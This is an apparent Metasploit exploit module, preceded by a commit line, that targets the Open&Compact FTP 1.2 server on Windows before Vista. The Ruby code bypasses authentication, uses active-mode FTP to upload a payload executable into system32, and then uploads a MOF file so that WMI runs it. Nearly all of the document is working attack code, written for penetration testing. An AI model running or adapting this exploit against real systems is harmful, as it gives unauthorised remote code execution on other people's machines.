Land #2211, @bcoles exploit for CVE-201-2620
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Ftp
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "Open-FTPD 1.2 Arbitrary File Upload",
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'Description' => %q{
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This module exploits multiple vulnerabilities found in Open&Compact FTP
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server. The software contains an authentication bypass vulnerability and a
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arbitrary file upload vulnerability that allows a remote attacker to write
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arbitrary files to the file system as long as there is at least one user
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who has permission.
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Code execution can be achieved by first uploading the payload to the remote
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machine as an exe file, and then upload another mof file, which enables
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WMI (Management Instrumentation service) to execute the uploaded payload.
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Please note that this module currently only works for Windows before Vista.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Serge Gorbunov', # Initial discovery
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'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
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],
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'References' =>
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[
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['OSVDB', '65687'],
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['EDB', '13932'],
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['CVE', '2010-2620']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'Targets' =>
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[
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# Tested on version 1.2 - Windows XP SP3 (EN)
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['Open&Compact FTP 1.2 on Windows (Before Vista)', {}]
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],
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'Privileged' => true,
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'DisclosureDate' => "Jun 18 2012",
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'DefaultTarget' => 0))
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register_options([
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OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]),
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OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
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], self.class)
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deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass
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end
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def check
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connect
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disconnect
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if banner =~ /\*\* Welcome on \*\*/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Unknown
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end
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end
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def on_client_connect(cli)
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peer = "#{cli.peerhost}:#{cli.peerport}"
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case @stage
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when :exe
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print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
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cli.put(@exe)
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@stage = :mof
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when :mof
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print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
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cli.put(@mof)
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end
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cli.close
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end
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# Largely stolen from freefloatftp_wbem.rb
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def upload(filename)
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select(nil, nil, nil, 1)
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
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conn = connect(false, datastore['VERBOSE'])
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if not conn
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fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
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end
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# Switch to binary mode
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print_status("#{peer} - Set binary mode")
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send_cmd(['TYPE', 'I'], true, conn)
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# Prepare active mode: Get attacker's IP and source port
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src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
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src_port = datastore['SRVPORT'].to_i
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# Prepare active mode: Convert the IP and port for active mode
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src_ip = src_ip.gsub(/\./, ',')
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src_port = "#{src_port/256},#{src_port.remainder(256)}"
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# Set to active mode
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print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
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send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
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# Tell the FTP server to download our file
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send_cmd(['STOR', filename], false, conn)
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print_good("#{peer} - Upload successful")
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disconnect(conn)
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end
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# Largely stolen from freefloatftp_wbem.rb
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def exploit
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path = datastore['PATH']
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exe_name = "#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe"
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mof_name = "#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
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@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
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@exe = generate_payload_exe
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@stage = :exe
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begin
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t = framework.threads.spawn("reqs", false) {
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# Upload our malicious executable
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u = upload(exe_name)
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# Upload the mof file
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upload(mof_name) if u
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register_file_for_cleanup("#{::File.basename(exe_name)}")
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register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
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}
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super
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ensure
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t.kill
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end
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end
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end
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